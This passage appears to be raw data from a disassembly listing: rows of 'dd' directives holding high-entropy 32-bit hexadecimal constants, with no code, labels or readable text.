3F9007F0h dd 1900B33Ch, 256DE670h, 5100557Eh, 0A9A7C245h, 24F1AC4Bh dd 9DB3117h, 6200EB66h, 0C60BFCBDh, 753F572Eh, 8FE48800h dd 407AA7h, 9ADD08B5h, 0A3B9438Ch, 7E993426h, 0FFEB1F01h dd 0C64AF6Fh, 0C5F903Fh, 39ECF383h, 1600F149h, 57B5CA4h dd 0ED43085h, 0AA46473Bh, 0E0369EC0h, 6600DF5Fh, 4D55CB22h dd 98BF1C73h, 0A010005h, 74B726E2h, 0DF0062B6h, 0EDA49DEAh dd 0FBCDD3h, 4ABE3C9Ch, 2AD75F9h, 3624A316h, 1E62FC42h dd 20006021h, 7D9E003Ah, 7E853E58h, 87603F6Dh, 967FDAB0h dd 43C23379h, 92C04F11h, 3A00788Fh, 1C7B2615h, 792774h dd 6DB6F5D2h, 61EEF0ADh, 0DCCE25h, 84064D28h, 0C8D2F155h dd 19AA2D58h, 81251D62h, 0F6D1F826h, 0EB001278h, 0D4B1A5B9h dd 1D4BDB85h, 815E547Ah, 61404E48h, 752C40F8h, 0ACA85860h dd 0BC18E7D8h, 2908E02Eh, 14F65062h, 7ABE00EDh, 20101F5Dh dd 0C8001511h, 3AF01A5Bh, 3E23863h, 0A4F3E767h, 8DC8D29Ch dd 2400C507h, 9EF8A53Eh, 8A6A40h, 0C96D2106h, 0B2044433h dd 82D96500h, 8F952DE2h, 0BB26005Dh, 81DD35F1h, 3700E0C9h dd 0EC8D21FAh, 30B9E6E5h, 2490E24Eh, 1C02CB76h, 2FAA2C0Bh dd 0D8B04010h, 75160444h, 80CD51F0h, 4F35D1E0h, 0A4B30C00h dd 89ED3B2Fh, 3D47F49h, 2A28C27Ah, 32A8F144h, 1898F825h dd 60F65612h, 0C22F400h, 79D2348Ch, 4377006Ch, 895216B4h dd 24F60B51h, 0E3808A0Eh, 0ED7E8085h, 0F4282Eh, 0A506B0E5h dd 9E5CF63Fh, 0DCC81900h, 3ACD4CE1h, 15AF010Ah, 3FB4416Bh dd 237EA51Eh, 0A4C7C508h, 0E0B69582h, 3906BEF4h, 8A1D156Fh dd 105371h, 0AD8249A1h, 197F936Dh, 875DB400h, 856CD3FBh dd 3D3500A6h, 2913749Bh dd 0F5FEC79Ch, 34501900h, 7EE9947h, 0B17F000Ah, 0B7BF9DC8h dd 0CC3AF959h, 55FC8031h, 0E2D2A24Ch, 0BA6901ABh, 0F27E88D6h dd 0CD30253Ch, 1D90746Eh, 7CA03426h, 0C5C0859Dh, 6D4A03F0h dd 88F65999h, 0F1306C00h, 6B252058h, 39A90500h, 6E08E0F9h dd 0C28200C5h, 0F797DF7Ah, 510050BFh, 44A75CC7h, 714A5B2h dd 75287EFEh, 3D1B1061h, 240198ECh, 44684D06h, 0D330B550h dd 0B40D006Ah, 0D2123DD5h, 97F820B3h, 0C50C000h, 68117E65h dd 33730075h, 893DC9E3h, 8BFACDFBh, 61E80900h, 28A505B9h dd 40BF0017h, 0D518EB3Bh, 7B0013B4h, 0A2AB92F3h, 1AF882C3h dd 814A593Ah, 416F8AC0h, 73783B0Fh, 963F4014h, 0B756A2h dd 0F5043938h, 80E8C5BFh, 0B8B2BC00h, 49966794h, 0DDF70086h dd 657DC2ECh, 4DE891FDh, 0AD41E40Fh, 6469401Dh, 6FDB3Dh dd 4FBB5D72h, 0DCDECAC9h, 0CF704907h, 7120201Fh, 18E6217h dd 58160EF9h, 801C47F7h, 72F84F70h, 60208032h, 0A38F0BBh dd 660074B9h, 7D0FACFFh, 3A53EF4Ah, 0C13E3C93h, 6900180h dd 91B2A22Bh, 23517626h, 0D4091000h, 0EEFA7E1Dh, 315A0BD9h dd 0E8872770h, 77E1703Dh, 790352ABh, 0B50108BFh, 8F8C9892h dd 0BC6E07CCh, 0A0FD46F2h, 22A64AE2h, 727C8000h, 0BEA41577h dd 333F2682h, 5768013Eh, 405F1FC1h, 6DF372C4h, 884CC000h dd 50E1466h, 98EF504Dh, 94F23A93h, 1C447C79h, 80DD901Fh dd 0D31BADD7h, 0EB0169E7h, 0A8F6F254h, 26F87249h, 0E63000A3h dd 44C4ABB8h, 0F900D648h, 71A57C1Fh, 0FC15727Dh, 646C003Dh dd 6E7F2CB4h, 0C8001057h, 0C3B14580h, 5684C1Eh, 0BB0855Bh dd 0D38C1EF8h, 0C0771DC6h, 0B7A36C09h, 8CA0CB6Bh, 0B2018330h dd 6D7FFAFh, 0D82132C3h, 6C2345C5h, 25BD9300h, 0B364A08Ch dd 3A4FA600h, 91BF13EBh, 0AD50041h, 0E55A9246h, 480CFE64h dd 294D40F6h, 88D000Eh, 6C8E7A99h, 0C81358B7h, 3000658Fh dd 37AD6E2Dh, 7C71A9h, 3CE7B388h, 8F53F1D2h, 0FD1FCAE4h dd 52192EE6h, 25702910h, 8CEA00F3h, 0EB821F10h, 90799FF6h dd 47D3F3Eh, 621BC34Bh, 6CA0CFC7h, 61B0EDh, 0C97C779Eh dd 3AA14874h, 16F130Ch, 17A010h, 86DEBCB6h, 715309FBh dd 81F0E51Ch, 0B4872D00h, 3683A33h, 0D8AC9116h, 0A98DAB3h dd 200ACE9Bh, 0F4EDA912h, 0EEC59000h, 0EE011A3Eh, 68790182h dd 218FF31Bh, 0FE688061h, 0EE50E894h, 176013Dh, 0ABAF9E78h dd 0DFE319h, 0E261249h, 0E183771Ch, 2BD9847h, 0B13B27E0h dd 3AE01F6Fh, 2F14C04Eh, 93176EC6h, 0C34A0E27h, 78F8C352h dd 19F10188h, 0DC9195ECh, 0A920340Eh, 0EF9C1B1Fh, 9610C698h dd 3CB045h, 56A855ACh, 97A324D0h, 0A0E47512h, 58641801h dd 4CB23162h, 70A2C358h, 1F009A11h, 0FB5135Eh, 0A5C9B6CBh dd 0F0FC2C92h, 0FC7D7C00h, 48CCBC72h, 4A3800D1h, 8AD8EBC7h dd 0B0005FA3h, 6A3A4CDFh, 13520BCBh, 0D39739h, 9A7CBA46h dd 16002C1Dh, 21A0244Fh, 30A3F0B7h, 0AC284E87h, 0E4004712h dd 6F82F610h, 0CC7194h, 261F5F1Ah, 2A544961h, 7CFE9218h dd 5C60A202h, 0A001457h, 1BAAFA1h, 4503927Ah, 50434D64h dd 8B19E0C6h, 0C379007Dh, 477F2A07h, 1200A058h, 67DE1CB3h dd 0FC012Fh, 9ED89A23h, 0C6297A76h, 0CF719B00h, 0BF062CF9h dd 0B4C801B3h, 1F7CA8FAh, 8620F047h, 0D48D3803h, 0D88F6B69h dd 7867BBh, 18A07154h, 20CCB847h, 215BB4A0h, 8742703Fh dd 5E74508Ch, 6E63BB10h, 0E503002Ch, 0CD346798h, 0B0033643h dd 39ECC72Ah, 1D20E0F6h, 3FEAD7h, 30223B8Bh, 0AFF024C2h dd 5D113500h, 0DA41325h, 0F7261F47h, 0F82000E7h, 0D20ED5FBh dd 0BC0B4C7Eh, 73A32FCh, 0ECE06BD7h, 932D33h, 4A73222Ah dd 269BA779h, 49D93Dh, 4ECAC1F0h, 2CB569h, 0B64F1CBh, 0ED70DF23h dd 5F523F00h, 5DA42D6h, 0E3C0EBCFh, 7FAF82Ch, 0A154F06Eh dd 602BB773h, 69C755ABh, 31B02501h, 770C87E7h, 58C2FC30h dd 49009084h, 0E17D3D0Dh, 0F2000B10h, 19895EFDh, 348B0BCh dd 0CF943495h, 6BB8DBDEh, 0C00A8C3h, 0C116713Ch, 1CC79909h dd 4AAFBF27h, 0AA4F17h, 0BBB21C9h, 623DAA91h, 0F67161FCh dd 29F4E35Bh, 0CE802A6h, 0F96C58F4h, 60FC1081h, 62B824E3h dd 0DE212B07h, 0B947CB65h, 49FDE641h, 0F56C1043h, 8EFA1C00h dd 74F40EC0h, 0BE170096h, 3E95DBD0h, 0F8006DAFh, 2E6BE932h dd 6664F4h, 200721C3h, 0D30A953Bh, 0C0F550C0h, 0E886F626h dd 0B78B00C6h, 6F72AFFFh, 2C30758Eh, 0FA9E18DEh, 0FC3A00A2h dd 4FD3E408h, 0BF00D6ACh, 0B9FEA631h, 592ECD1Fh, 4109AC3Bh dd 0F420863Fh, 891B30F3h, 262413F8h, 14204987h, 0C07BD900h dd 67B2C455h, 88FB017Fh, 0A532773Fh, 4340DCCAh, 0C4218707h dd 8CA0531Dh, 0F311E89h, 205A9D56h, 998E8AA0h, 0BE1C8BD3h dd 0C0437F0Dh, 0A08071A0h, 63F1EAh, 602E1253h, 9CEE1C10h dd 24E34E00h, 0D91AB01Eh, 0A88960C8h, 0F1A998D2h, 77B1073Dh dd 0B501D4F4h, 8809721Eh, 0A2702F16h, 0E9AC0077h, 2A8EC34Dh dd 9800292Dh, 550C0E4Ch, 0A0851Ch, 86723A77h, 2B4D0AFh dd 7168A400h, 30EA3D58h, 7CD400F7h, 9AF538F8h, 5100B31Bh dd 0C0E38E4Bh, 0B81D5D19h, 0D1BC00B7h, 0FC9B1E04h, 0E5000B99h dd 0ACFCAA0h, 0F658C1B0h, 0E2F00014h, 0B9BE776Eh, 84139B3Ah dd 8C07B451h, 0BF2A379h, 94FEE089h, 0C7283FCAh, 33B03D80h dd 91F585BAh, 55C4E100h, 0BC95AAF8h, 0B8AC03A6h, 24991154h dd 0C0783Ah, 23C18E45h, 5092A5Eh, 93FDAAE4h, 2936C392h dd 2C9A94B0h, 726E0500h, 0BA58DDDEh, 8EE0Eh, 0DF2428ACh dd 374677A6h, 0A7F05006h, 8811DCh, 95F6BA5Ah, 19807327h dd 0CDEBBB00h, 10887FC0h, 478D004Dh, 0A67CFAE7h, 0F3193FEFh dd 123872DCh, 61B74080h, 732F9E6Bh, 0BC3C100h, 7039E029h dd 1E2300D8h, 918B1B83h, 0AD260C2Eh, 2003250h, 0B778D11Ch dd 69E90399h, 0B6E61E7Eh, 2D9ABD98h, 0D7DD3500h, 0AC2A58B9h dd 51ED0F8Bh, 5E409B73h, 0A10E5B8h, 54C6B303h, 0C0F15B06h dd 0C033C250h, 8ED0DF90h, 11C05F29h, 491F563Eh, 75C600DEh dd 9BD2C01Dh, 1E067BCDh, 0C387F196h, 1F004A0h, 0A8E55560h dd 62E10025h, 313997EFh, 73523E5Eh, 0FD9021B0h, 7A0A0512h dd 0F49DD7D6h, 1CB7A703h, 0E0BE14h, 3C9901F4h, 9C75AB55h dd 95820A50h, 9AB3E92Ch, 0FD622900h, 178598h, 0C1087134h dd 0F2F8DC53h, 0EC0251C0h, 3C5645h, 2BE3B14Ch, 0AB2ACC66h dd 6311891Eh, 1B0723C0h, 0BA289Eh, 6525746Fh, 2A44165Ch dd 5AF0982Ch, 617F500h, 3A601Eh, 680E8F9Fh, 5A7B88D3h dd 7D84CC0Ch, 9A71DAh, 0A4A78D82h, 1D1FAC26h, 0E8F97407h dd 3550F8FCh, 7DD1636Fh, 0ECA80092h, 0F2435EF1h, 4F0045B0h dd 7DB52421h, 38E02A9h, 0C5FDC770h, 0EBF836D4h, 0B4A34A6Ah dd 42BC2F90h, 2D1C1F1Dh, 805E580Eh, 0A8FE59DCh, 6C8B4CE1h dd 0B37C2C05h, 3D504815h, 0CF41DE63h, 0F0718EB3h, 3D8101E9h dd 0F4510DD7h, 0DFBD30h, 0D86F224Eh, 0BF2C6C33h, 0E486BE00h dd 0C3CCFE4Ch, 0A41D00ECh, 9D29E85h, 6D00F094h, 0B705573Ch dd 0B3EF18h, 0C4A9C856h, 0E53F3508h, 0C0419C30h, 82B6EE54h dd 5AA391CBh, 0E781CBA1h, 8C52B839h, 0B09E18C3h, 0CFC51CD8h dd 46B1C1FCh, 0F0784B7Fh, 8600763Ah, 87AF83CAh, 406DE0h dd 9502F8F1h dd 0E6AA3FBBh, 8100FB7Fh, 39138806h, 82C3Ah, 75BD17A1h dd 58442B8h, 20F0FA60h, 2E865A16h, 0B1F99Dh, 0E2E93B09h dd 683B8AABh, 4156099Ah, 0EBAC001Fh, 5429E570h, 73F8FBh dd 0FE8757E8h, 2D02F18Bh, 0CFE05B00h, 8446444Ah, 0E9C50548h dd 80590708h, 0F403ACD5h, 31006E78h, 6D5D8B90h, 0B016CB42h dd 717703FFh, 725A286Ch, 205BD5C9h, 67134D44h, 2B00E864h dd 0E49AF07Fh, 5C3A01EBh, 440F500Ch, 0A09EC8FEh, 0C688F91Fh dd 2A186F58h, 34EC004Dh, 4B604143h, 900765Fh, 0F1B95CE8h dd 0ABCF70h, 56BF3C20h, 0C084F9DAh, 0D9E88EE4h, 0D198BD00h dd 1D0F3A69h, 4746005Fh, 0B8F8E5A6h, 88A85B1Fh, 0FB006624h dd 6A528476h, 720F89h, 59D515A4h, 3E10AA79h, 0CAEB0400h dd 3A97E16h, 47980F09h, 0C0BCEA1Ah, 0DF5BAD07h, 0BD18F258h dd 0C3B8DCDAh, 0DDF882h, 1BF3B160h, 5120E18Eh, 0A5617500h dd 0D61CAE73h, 466A33E8h, 50D75619h, 80D20459h, 12C9C600h dd 0A957D617h, 0FD4101B5h, 0F299F5FEh, 451F302Dh, 0B83BA700h dd 0C55578Bh, 3E9C5846h, 1B535400h, 2978FCF6h, 0C417950Eh dd 0E711C00Fh, 25D4410h, 4CF87A9h, 70688F7Eh, 66EAFD2Ch dd 816CC100h, 72ADC31Bh, 41092D3h, 55B6515Bh, 1C689052h dd 0BBA04C03h, 1B7111A8h, 1E906C00h, 7D54E9B6h, 315B0019h dd 0EF84D230h, 0CF1DDB36h, 4D1F8768h, 0E32C7298h, 78D430FAh dd 304A6C50h, 6BB6B100h, 3E811DD1h, 0B03F4897h, 109E62Ch dd 0BDA70153h, 67342494h, 88B7AE2Ah, 4F545B01h, 0D39D9E5Fh dd 0C0006361h, 0B3E88Ah, 0D83E4031h, 0DBCB10A4h, 75FA580Ah dd 0A600B84Eh, 0EEDEB97Eh, 22490740h, 0F04B9E1Dh, 628A92FEh dd 6CCE5E00h, 0C6C28D29h, 68E40067h, 853516E5h, 716039DBh dd 4F80E268h, 0CD23073Eh, 3065C612h, 0D72EAD18h, 6F774C00h dd 7029964Eh, 0C3C707FFh, 5793D573h, 0FE3ECF62h, 9D202E00h dd 865E3B3h, 1D3EC94Ch, 938087F0h, 37950AD5h, 0D47CFEh dd 382EA2B1h, 17C3E9E1h, 757D0513h, 0ED75B0h, 557AB60Dh dd 0AEADFFDAh, 0EC007771h, 0B86AA882h, 9CF2BEh, 8CCBC2D4h dd 929D36BAh, 0D8299000h, 1DC6A5ABh, 0D405031Fh, 0F1B114A7h dd 0E0FA008Dh, 46698D63h, 174F8300h, 7234ED4Dh, 20620054h dd 1380FCD3h, 0FE005F1Ah, 5787EC4h, 26E64F07h, 83699Eh dd 0B04616C1h, 0CD3AF521h, 0EC1112DBh, 8C1397ACh, 0EEA440E6h dd 98BCF50Ah, 465D2F07h, 0E4F0AA63h, 9A84DD7h, 5B15C2ABh dd 10862300h, 3A12F139h, 0E000C5DDh, 0D14E9BFFh, 2C7D2Fh dd 0F0AFD543h, 4F90BDADh, 0B52424F7h, 66B92D00h, 0F9C85ED2h dd 0A9960C1Ah, 5D20F75Fh, 0A6FE1706h, 78111519h, 0B9DB00BFh dd 172C92Fh, 43031C4Fh, 0E09F096Dh, 1BC1E0BEh, 16A83359h dd 8DE1D830h, 0A1389C5Eh, 35123C68h, 0B4405B26h, 0CB1AC9CAh dd 0B3DD0060h, 0ADF67B6Eh, 0A654A227h, 98840718h, 960F193Fh dd 0E09138C2h, 15036C4h, 0A41DDC10h, 177DC32Fh, 69032903h dd 0B832BBDEh, 77B4C06h, 490D6C4Dh, 20C0BFE3h, 0E4BBCC6h dd 2AB54000h, 6975AF8Ah, 0B4B11E64h, 420F80FAh, 0CFCB08A3h dd 0DE3C5300h, 221B1258h, 84AA00E4h, 4F872EB3h, 18006906h dd 66E7DE2Dh, 7B0427h, 17CC8DA0h, 0B4DC9158h, 0D4EF7617h dd 0AA7A9100h, 7C42C8h, 4CC5B23Dh, 145C34D2h, 69A66500h dd 25A25F22h, 30E6007Ah, 1B80C5C9h, 3F044D47h, 0E729ADB7h dd 2061490h, 0FE5CEC07h, 645A18FEh, 0BBAE086Fh, 0A2120C0h dd 4AA507h, 76C1752Dh, 50C29091h, 5BF13201h, 5AC4C7E3h dd 4FADA050h, 8681EC3h, 5C588061h, 21A78AE3h, 4254E605h dd 54D7BD91h, 1A981681h, 0CAE2C20h, 9E35E17Dh, 21C0C108h dd 7C1A90FCh, 0DC6600ADh, 0F5B9D201h, 3C03EEE8h, 3C69514h dd 63B7ABDEh, 401F81D8h, 7090ACC2h, 85110759h, 0B2885F5Bh dd 7012480h, 28B2Ch, 0C45909Fh, 0B7E9809Bh, 0AFF18D00h dd 8A575CBCh, 7855284Ah, 0EDCF08A8h, 0BB401624h, 0C01C80CDh dd 2F7B5E10h, 0EB001A2Bh, 0D3E994EDh, 0E8E0A960h, 417081h dd 95700DF6h, 9E77216Fh, 79CEF48h, 0F9424927h, 3FED2F70h dd 68EC00C0h, 2C37D4D6h, 220B169Ah, 802B38E0h, 4CFA28E7h dd 27040E76h, 0AE401EF9h, 0D0162FC9h, 854A6502h, 0FF6758F1h dd 748F8302h, 0BD47E640h, 3545230Eh, 0DBE360DDh, 3982644Ah dd 24806E02h, 0BC4C5314h, 0EB00E2B6h, 1AE1BE5Eh, 3EDCB9h dd 0AFF9A827h, 11123765h, 0BE3D4Ch, 0F0268BA5h, 0B34368h dd 62B2D427h, 0A19CC9EEh, 96E77F00h, 1881A5BEh, 0F00C0336h dd 73230BFDh, 0A2C5FA00h, 0CD48E1BDh, 0FB120086h, 171C2964h dd 0BE1C503Fh, 0B2805C55h, 7AAA3109h, 2E71FC20h, 37FCA56h dd 7E6879D5h, 95D293D8h, 0E3730B0Eh, 0AF9C27BAh, 0CFB008A7h dd 0F91BA6h, 0C4B71666h, 680CEEB8h, 6DC3D300h, 38F17BF6h dd 70783DDBh, 107AA298h, 86004AEFh, 2E62EAE6h, 4DC46F2h dd 0AE3212A0h, 0EAC0AA47h, 0F6B20949h, 73D12892h, 45940EC4h dd 41032452h, 0E0005D53h, 0D68456F3h, 0C46036Eh, 8F1B5457h dd 0BE6EE30h, 28595B30h, 1C22759Ah, 3EB6C6C1h, 0BEA03C80h dd 8816BDA9h, 15005B74h, 1232FB3Fh, 1F9452h, 849A7538h dd 0EAE3CF19h, 0C52E6907h, 0EF7B1C6h, 59C19530h, 9EF7144Dh dd 5B0F8D06h, 6820E8B6h, 5D840D7Bh, 0A3A01E00h, 133120FFh dd 0D075BBh, 8B80EB03h, 0F2BA9972h, 283F0900h, 0B6B56B1Ah dd 9DAD000Fh, 9F6C7F0Ah, 5828902Ch, 0E122846Eh, 345F825h dd 0CF151E50h, 7DF8178Fh, 0D8FB6A9Dh, 4D00AFCEh, 0E0D6EFBCh dd 1FFD5C28h, 4064433Eh, 747AC0DEh, 0D20311CFh, 470A0741h dd 76C790B1h, 6A830061h, 0E0B0D7E8h, 0E43FD317h, 289C007Fh dd 0C1673AA5h, 95A0222h, 26B5DFEBh, 0C048B480h, 0C5020217h dd 3DB2E561h, 0BDB88099h, 0F050AF91h, 0B0D162F6h, 0A660D823h dd 5900EE92h, 5A204EBh, 2AC56EDFh, 0EE883D0h, 8D0B36DBh dd 0A8C14C60h, 8C004E44h, 95EFF1C3h, 0C8A2F8h, 8E3AD960h dd 0A925308h, 4C855706h, 0D0D2BDh, 70ABD535h, 0AD9901D6h dd 45329E00h, 408F2755h, 685E6025h, 10ACFBF4h, 63695600h dd 133447CAh, 338D03F5h, 8331700Ch, 5C847B5h, 991B51D2h dd 7446DCB2h, 888DFB80h, 5905294Dh, 4BC85C6Ah, 32E7AC80h dd 41466310h, 6890A7C6h, 0C0607E0h, 3EEFBFD2h, 79E600F1h dd 0F399607Eh, 2403851Fh, 58E7AB08h, 17BB003h, 0B867h dd 41ACC68Dh, 735733CEh, 9303FF00h, 0A7FCA074h, 0E9130001h dd 3BC5AE95h, 0E39D2DAh, 210F003Ah, 9F99C75Ah, 805D3F51h dd 1DF024h, 815E7762h, 0CF050F28h, 0DD4A9D32h, 0E520D680h dd 0EDA20011h, 426C6B5Eh, 0D900BEB2h, 60E438ACh, 88F7C7h dd 0BAF8103Ch, 2ECF64A4h, 0DA585400h, 0AAD5E5FAh, 6FDF001Fh dd 8AF94965h, 0C9EEE7FCh, 23323714h, 0B80301F5h, 0EE55F28Eh dd 1AA5C4h, 175CD99Bh, 2ACB86DCh, 0FED2E500h, 0E965EB70h dd 21DF2429h, 387F0038h, 0FDB51F0Bh, 96CDC02h, 0F004A7ABh dd 0BBC30019h, 827E118Fh, 0E800E090h, 72143443h, 92B1395Ch dd 87EA00C0h, 18AF078Ah, 0B300D2FEh, 8B63E2A4h, 3BF0E0F1h dd 0E680715Eh, 171E5C38h, 4500C0A1h, 3B52FAFFh, 0A0B44869h dd 0F658FFCh, 0A635D158h, 54858820h, 0E300AB30h, 0F54695D0h dd 7AD104Ch, 0DAB26077h dd 0C0DE17BCh, 56F1F737h, 16AD75Ch, 0A0917FD8h, 0A48012A5h dd 2AC59DDBh, 3E3111A8h, 0B4FD4AFCh, 13C41980h, 2A52AAC0h dd 3B9E804h, 44819372h, 23D044EFh, 7F849268h, 0C0A9018Fh dd 58E68A1Ch, 15C4C43Dh, 2F101270h, 0A6005DFFh, 0BF7DBEB9h dd 0D77D977Fh, 0D6F84350h, 1476AD00h, 55533864h, 0B77E03h dd 0A9C1D8ACh, 0D76DCB42h, 0C8185664h, 84C9B380h, 0D422129Ah dd 6FCC0071h, 0FBA1B2E7h, 0CCFAAE00h, 7CC66CEEh, 415D00D9h dd 6A581DE8h, 0DB1445D6h, 39A8C35Eh, 0B6DC0376h, 0F0E8E112h dd 3974F5B0h, 0DE168A83h, 7CC007CCh, 0E825604Bh, 21E93E02h dd 6E5C3054h, 24006498h, 0B8A1FF4h, 5FFC0Ch, 9A267286h dd 77366AC0h, 0BC96583Ch, 80EB3CD7h, 5E476B17h, 0B71E69h dd 0D69B8F2Eh, 0E77CDF73h, 40D5A100h, 250B6553h, 39241229h dd 0A75F00CFh, 0A4BFB6E0h, 0C48039h, 843E59EBh, 9B941A9h dd 9045618Eh, 9F168080h, 0A039D81Ch, 0FA7A009Bh, 0C42742B9h dd 39F10449h, 0AF6835C1h, 71B9C00h, 3A9AE1A8h, 54008B0Fh dd 0AEDE729Fh, 2A2E7792h, 8E00B4AAh, 0E7744ECBh, 66540046h dd 8489EBFDh, 0E009336Eh, 78EF198h, 0EFB09F08h, 1364255h dd 26E8A9EDh, 0DC33566Fh, 6500C383h, 1E38DEB5h, 1A3F59Ah dd 1829BD8Ch, 0F4D48179h, 99004847h, 4669B04Eh, 1F1A9DB9h dd 0C00C3A78h, 3FB6B30h, 0C50E60FEh, 7B849F0h, 0E41A390Eh dd 0F8B57300h, 92892h, 590F3E43h, 0A11FA313h, 0D5172C02h dd 6892DB7Fh, 187D14A0h, 2037A038h, 0C6E88799h, 0FA5874E8h dd 9E84DDBh, 207FFCA2h, 42E0F4BCh, 238205EBh, 0C244E443h dd 15C079AFh, 7FEA6FE1h, 6E26B600h, 0D44E65E5h, 70A20032h dd 0B458C50Ch, 70C99FAh, 183413A6h, 0ED483F2Eh, 877C8280h dd 0A3DDCB16h, 0B77F6F00h, 38F8B342h, 6D930143h, 8292FAB6h dd 7BCDE003h, 627A91C0h, 2519199h, 6DB31242h, 708AE180h dd 2E5902B8h, 90903F0Fh, 0CE019197h, 6D6F4172h, 4A307418h dd 51C60094h, 0B1A7A247h, 3707014Ch, 648C5224h, 805BD792h dd 0E64A10E5h, 2F6F1FDBh, 815200CCh, 0AD4F2C1h, 62472A00h dd 0EBE13BB5h, 0CFFF010Fh, 6FF1D356h, 0AA347036h, 1ECCE83Eh dd 0EF007813h, 5B6C166h, 381D3E80h, 886200FFh, 9A6F7BC8h dd 98799614h, 0EE351600h, 2B27FC66h, 34EB0052h, 8A1DA42Ch dd 0A2003069h, 1753B3FFh, 0C03B8309h, 1DF62B98h, 51006C76h dd 59AB60Bh, 292FBD1h, 0EB627EF7h, 0F0A977E2h, 81581283h dd 0A2A151D7h, 1CA4298Ch, 4D48E244h, 24CB0E5Ch, 4E93A6C0h dd 3600DCE9h, 59E37FA9h, 78052A8Bh, 1B573EF4h, 1085EF80h dd 4D5E0755h, 39B7C72Ch, 2DB9003Eh, 6082A150h, 0A2D3001Dh dd 9CAD270Ah, 0F200A6CCh, 34CE38F1h, 80E307h, 6C090484h dd 0AF8778Fh, 0EE0074B8h, 0B0663775h, 0EE055B96h, 6E9860E1h dd 1281F278h, 6AC23D00h, 1457168Bh, 47CB04B6h, 822B1C04h dd 80E03C52h, 0AD00395Eh, 0DDE48142h, 0A0741D7Bh, 37E57D1h dd 0BE3D6EF2h, 84FAA90Ch, 0F3B7E863h, 80B8C12Ah, 0A20CA6F9h dd 0B0E330C6h, 0D2E00B0h, 575C9F3Fh, 670CC1DEh, 2121D208h dd 55EA05CCh, 0C1490F60h, 13A12CE0h, 8D51B0EEh, 0B1582E41h dd 2D29658h, 0D870FD7Fh, 7F96F783h, 80D60CA1h, 582D8B88h dd 0B86A30D2h, 4E890CACh, 4351FFF5h, 8C642C00h, 83151F04h dd 48975972h, 0D4495F00h, 0AE88D69Ch, 0F8EB5613h, 1B3C907h dd 0E5A13B50h, 65290082h, 31D1A216h, 0C30018B7h, 0F4BA56FCh dd 795F70CAh, 0AD0E019Eh, 8793B1C9h, 0D7C061B4h, 0A6BA8AB8h dd 6FFF5Ch, 0E02C2BAFh, 0BA90F5Ah, 18C8AE7Bh, 0F0E17800h dd 55E6CE54h, 73F18100h, 0A650E6EFh, 0EA7114h, 0F78C5A45h dd 273BCAB8h, 7200DE70h, 46949144h, 0B27DBA57h, 0B5AD1DB8h dd 962200CAh, 883EA5FAh, 7939D400h, 0FB017E5Bh, 0BD910025h dd 2431F187h, 0D40B0383h, 9FD0D19h, 0B2C40040h, 0F2F969h dd 0A36D9C88h, 0BD5EC4CCh, 3D66E600h, 0C9203CBBh, 0A0B20908h dd 28A0EA51h, 2650454Fh, 49D68E00h, 7FF48136h, 0BE3A07CCh dd 0B1A0EB58h, 50A12E25h, 0FAC138E8h, 21B4D300h, 514DC759h dd 1DC00D1h, 0B8CE5D8Eh, 0F4301EC3h, 0FB223169h, 0CBBB1E3Bh dd 8BE28260h, 4361581Bh, 0ED2080B9h, 51B69B92h, 56F2072Bh dd 0D5267A82h, 8EF400D5h, 1A78A8BCh, 1FB87367h, 29B98798h dd 0D25EE059h, 89155B45h, 1EB4B5F0h, 8180180Fh, 0BCD1F735h dd 125C90F3h, 4056BF42h, 8E042620h, 3601C574h, 50DC9210h dd 460DEA7h, 335A00DBh, 76BCF812h, 9B5D9085h, 0DA460068h dd 0A7FAF2D4h, 23BE00AFh, 0DE626A95h, 1D00A5B7h, 65E8B471h dd 40BCE0EAh, 6D1FFB55h, 0FC76C84h, 0EC425ACEh, 1387F792h dd 89C1E3B5h, 6B290580h, 493D6F00h, 1C315E20h, 8EA20083h dd 5AA782A3h, 0E8007799h, 0E196BCC3h, 0C06735h, 622930F8h dd 25EF0C1h, 0D4B018B8h, 39C58A0h, 5F83DE1Ch, 20851100h dd 18C24999h, 30FB9066h, 2C3DCF50h, 9A6C02E4h, 0C05AB81Bh dd 9292C15Dh, 3A0725C0h, 0AAC09000h, 3000CC47h, 0CD3F23EAh dd 40F079h, 213CFF06h, 25836C07h, 69005A78h, 5730B8D8h dd 0F5C219h, 73AB0947h, 0E2AA48C8h, 870CFF3Ch, 9FD49984h dd 7C138180h, 10C30EA1h, 0C8A08C21h, 37C9E687h, 7D0A4071h dd 0AC5690CEh, 1E9CD900h, 0C19A0514h, 0B1C12C02h, 2448E1DAh dd 22023B0Ch, 0E1C23970h, 1ED05828h, 0CCC39680h, 15106263h dd 0D5CC8F17h, 94840303h, 0E7190266h, 12C8937Ah, 3946ACC8h dd 0D0881096h, 103B0054h, 0C72A42E1h, 0CC60E41Dh, 3055E6C0h dd 0F1AF35h, 3F252DB2h, 7F10D748h, 0C7099470h, 5FEBC1h dd 0F4B24708h, 0EA860051h, 4D764224h, 0C100EC40h, 0F1FB0A7h dd 28CEF63Ch, 0C5E819h, 0E9079A34h, 0F0121DABh, 454C1E00h dd 7B3554C0h, 8FF100FAh, 5F3F799Bh, 65033D75h, 0FB706D9h dd 5117A20Ch, 0B5890854h, 67024700h, 0B2A10A7h, 11CDB4E5h dd 6118EC80h, 0BA71DFDBh, 26FCF900h, 29DEA0AAh, 2270036Ch dd 366E167Eh, 4093B980h, 3AF31E00h, 0E2A2B60Dh, 0B4C0217h dd 0B5EACAD5h, 376018C2h, 6F3A895Dh, 77C1057Bh, 8F806A71h dd 1DB03403h, 40107E42h, 0F2A3B2C6h, 100B7F5h, 281A82EDh dd 249487h, 61FE1F39h, 583CB595h, 6DE72E03h, 0D34F700Eh dd 5587293h, 9E1759C0h, 94DC4034h, 4C454B32h, 1E922200h dd 4D158DB7h, 797A0023h, 0A0449A69h, 0B103D314h, 0A2C3D161h dd 49400012h, 0F8BDB84Ch, 97A0E8FBh, 0D404FC2Ah, 0A84A7399h dd 57D020A5h, 0FEB60B52h, 0E887F492h, 6B823EBh, 0BE2CA4C4h dd 0B99180F9h, 0B857B322h, 45B23AF2h, 350DFC0Bh, 0D37FE090h dd 2810F0B9h, 0BA172A1Fh, 2517E07h, 716C305h, 0B70189E0h dd 31D0A3Ch, 6F7EC7C1h, 1F210724h, 4A87A159h, 7EDB032Ch dd 21006C49h, 0D277590Fh, 563A8D7Bh, 0F80758B3h, 81282244h dd 811D2A58h, 0D3173630h, 0F98A2333h, 3054931Eh, 168F729h dd 77FFCA00h, 0C83BC6CCh, 0AD520015h, 0F80335Ch, 8E184802h dd 94B8BAA9h, 6420036h, 2A27B31Ch, 0D5000C13h, 5A753139h dd 0C2D97Ch, 